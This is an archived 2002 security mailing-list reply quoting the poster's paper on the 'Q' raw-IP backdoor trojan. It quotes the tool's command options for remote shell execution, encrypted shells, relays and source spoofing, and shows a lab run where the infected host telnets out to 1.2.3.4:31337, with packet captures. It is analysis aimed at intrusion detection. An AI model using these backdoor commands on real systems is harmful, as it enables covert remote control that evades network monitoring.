Re: Covert Channels

From: Craig Baltes (craig@lurhq.com)
Date: Thu Oct 17 2002 - 08:17:01 EDT


Jeremy,

Here is part of a paper I recently wrote talking about "rawIP" Trojans. The
"Q" trojan should be exactly what you are looking for in regards to a covert
communications channel. It is written by "mixter" and on his site he also has
a paper detailing how to use rawIP in programming. http://mixter.void.ru/

Hope this helps,

Craig Baltes
Senior Information Security Analyst
LURHQ corp
craig@lurhq.com

**********************************
Raw IP Trojans
Working on this paper has brought me into contact with a program and a concept
that has real possibility for defeating a NIDS easily. The “Q“ Trojan by
Mixter is a great example of a “Raw IP“ Trojan. Rather than create a
listener and use a standard client/server configuration the “Q“ Trojan looks
for raw IP packets that match a specific parameter. The data of these packets
will contain encrypted instructions that the “Q“ daemon will perform. The
following is a list of functions contained in the current version of “Q“
(2.4) quoted from the README of the program:
 
“RawIP Server Controller (qs) options:
 
qs -C "command" server.com - Execute remote shell commands. The command can be
any line that you could type on a shell, including system programs.
 
qs -p port -S server.com - Make the server open an encrypted shell that you
connect to with 'q', listening on the port specified with -p
 
qs -p port -B "relay.com dport" server.com - Make the server open an encrypted
bouncer on the specified port. If you connect to it, it will relay you to
dport on relay.com.
 
qs -U 99 server.com - All bouncer processes will be run under user id 99.
 
qs -P /sbin/sash server.com - All encrypted shells will now use /sbin/sash as
user shell instead of the default shell.
 
qs -p port - This option specifies the destination port that a shell/bouncer
server will listen on.
 
qs -n - If you specify the -n option, the server will spawn a *NORMAL* shell
or bouncer, running without any encryption at all, so that all clients can
connect. These sessions are depreceated, you should use TRANSD mode instead.
 
qs -i I or U or T - Chose a protocol, ICMP UDP or TCP for the RawIP activation
packet. Only necessary if you need to use a specific protocol to bypass a
firewall.
 
qs -a authid - Same usage as q (both qs and q connections use CSA).
 
qs -s source ip - Specify your source IP, else it will be random (only
useful to bypass routing filters and firewalls).
 
qs <command> targets - qs can message an unlimited amount of targets at once.
You specify the target hosts/ip as the last arguments. Ex.: qs -C "shutdown
-r now" fbi.gov cia.gov nsa.gov“
 
Here is an example of the "Q" Trojan at work on a real network. 10.0.0.2 is a
Mandrake Linux version 8.2 system that has the "Q" daemon running (qd).
10.0.0.1 is a RedHat Linux version 7.3 system that I compiled the
client/server package on and am using as the client. When designating a
target or my commands I will use 1.2.3.4 as the IP address.
 
This is the output from the client:
 
[root@localhost Q2.4]# qs -C "telnet 1.2.3.4 31337" 10.0.0.2
[*] request: execute command 'telnet 1.2.3.4 31337'
[*] sending control packet to 10.0.0.2 (encrypted)
[root@localhost Q2.4]#
 
This is the output from a tcpdump:
 
[root@localhost Q2.4]# tcpdump -n -s0 -X -i eth0 not arp
tcpdump: listening on eth0
 
19:31:01.125611 216.127.166.0.1947 > 10.0.0.2.48017: S 0:148(148) ack 15487956
win 7678
0x0000 4500 00a8 fae3 0000 ca06 6cea d87f a600 E.........l.....
0x0010 0a00 0002 079b bb91 0000 0000 00ec 53d4 ..............S.
0x0020 0012 1dfe d35c 0000 4449 7a36 5a4e 705a .....\..DIz6ZNpZ
0x0030 3374 396e 5763 6272 5437 5372 324a 7641 3t9nWcbrT7Sr2JvA
0x0040 414e 6c48 6d57 2f68 7757 4144 3143 3963 ANlHmW/hwWAD1C9c
0x0050 4451 3062 6672 3056 7367 5843 624f 6c4b DQ0bfr0VsgXCbOlK
0x0060 662f 6e48 6e61 582f 302b 5255 522b 4877 f/nHnaX/0+RUR+Hw
0x0070 6431 7775 4d33 4c4e 686e 3067 2f49 4833 d1wuM3LNhn0g/IH3
0x0080 374f 676b 4e58 3971 754f 6662 4c74 3263 7OgkNX9quOfbLt2c
0x0090 6147 6178 7253 736b 7359 7034 642f 5639 aGaxrSsksYp4d/V9
0x00a0 4257 526e 6849 5875 BWRnhIXu
 
19:31:01.169462 10.0.0.2.1043 > 1.2.3.4.31337: S 539291178:539291178(0) win
5840 <mss 1460,sackOK,timestamp 2015017 0,nop,wscale 0> (DF) [tos 0x10]
0x0000 4510 003c 5103 4000 4006 dba1 0a00 0002 E..<Q.@.@.......
0x0010 0102 0304 0413 7a69 2024 ee2a 0000 0000 ......zi.$.*....
0x0020 a002 16d0 d71c 0000 0204 05b4 0402 080a ................
0x0030 001e bf29 0000 0000 0103 0300 ...)........
 
        4 packets received by filter
        0 packets dropped by kernel
 
This is another output from tcpdump when I ran the same "qs" command minutes
later:
 
19:37:55.205588 143.63.86.0.30636 > 10.0.0.2.34916: S 13764962:13765110(148)
ack 0 win 41869
0x0000 4500 00a8 d189 0000 f506 0485 8f3f 5600 E............?V.
0x0010 0a00 0002 77ac 8864 00d2 0962 0000 0000 ....w..d...b....
0x0020 0012 a38d c9a5 0000 7056 796a 374b 4d73 ........pVyj7KMs
0x0030 7742 6566 3368 5647 3933 5869 4e70 7641 wBef3hVG93XiNpvA
0x0040 414e 6c48 6d57 2f68 7757 4144 3143 3963 ANlHmW/hwWAD1C9c
0x0050 4451 3062 6672 3056 7367 5843 624f 6c4b DQ0bfr0VsgXCbOlK
0x0060 662f 6e48 6e61 582f 302b 5255 522b 4877 f/nHnaX/0+RUR+Hw
0x0070 6431 7775 4d33 4c4e 686e 3067 2f49 4833 d1wuM3LNhn0g/IH3
0x0080 374f 676b 4e58 3971 754f 6662 4c74 3263 7OgkNX9quOfbLt2c
0x0090 6147 6178 7253 736b 7359 7034 642f 5639 aGaxrSsksYp4d/V9
0x00a0 4257 526e 6849 5875 BWRnhIXu
 
19:37:55.247334 10.0.0.2.1044 > 1.2.3.4.31337: S 969778169:969778169(0) win
5840 <mss 1460,sackOK,timestamp 2056423 0,nop,wscale 0> (DF) [tos 0x10]
0x0000 4510 003c c31e 4000 4006 6986 0a00 0002 E..<..@.@.i.....
0x0010 0102 0304 0414 7a69 39cd a3f9 0000 0000 ......zi9.......
0x0020 a002 16d0 65e5 0000 0204 05b4 0402 080a ....e...........
0x0030 001f 60e7 0000 0000 0103 0300 ..`.........
 
4 packets received by filter
        0 packets dropped by kernel
 
The first packet that you see in each capture is the RawIP control packet that
contains the encrypted commands that I specified in my "qs" command. Without
filling up this entire paper with packet captures of this Trojan in action
suffice it to say that after extensive testing I have seen the client
generate TCP, UDP, and ICMP RawIP control packets and have been able to find
no common thread, or mistake that I could use to write a valid NIDS
signature. In the captures above you see that the data portion of the RawIP
control packet is the same in both captures but that is because the command
is the same in both instances.
***************************************************

On Wednesday 16 October 2002 06:08 pm, Jeremy Junginger wrote:
> Has anyone had success in creating a program that uses IP/TCP/UDP/ICMP
> header information to transmit encoded messages from one host to
> another? Shortly after reading
> http://www.firstmonday.dk/issues/issue2_5/rowland/ I was very tempted to
> put together a proof-of-concept program to demonstrate the use of covert
> channels (and more imporantly, how they could slip right by the IDS)
> with the tools I had on hand. I ended up using nemesis (Thank you Mr.
> Grimes), tcpdump, and a little Perl script to kind of piece a tool
> together that would transmit encoded (I use that term loosely) ASCII
> data within the IP id field of the IP header. It works okay until you
> go through a NAT device that decides to change the IPID :) I wondered
> if anyone else has attempted to create a similar covert channel, and if
> it is even useful when you can potentially encrypt/tunnel many chat
> applications over a 3DES tunnel on basically any port in order to
> subvert a security policy.
>
> A penny for your thoughts...
>
> Jeremy
>
>
>
>

-- 
Craig Baltes
Senior Information Security Analyst
LURHQ corp
craig@lurhq.com
843-903-4376 x2
----------------------------------------------------------------------------
This list is provided by the SecurityFocus Security Intelligence Alert (SIA)
Service. For more information on SecurityFocus' SIA service which
automatically alerts you to the latest security vulnerabilities please see:
https://alerts.securityfocus.com/


This archive was generated by hypermail 2.1.7 : Sat Apr 12 2008 - 10:53:25 EDT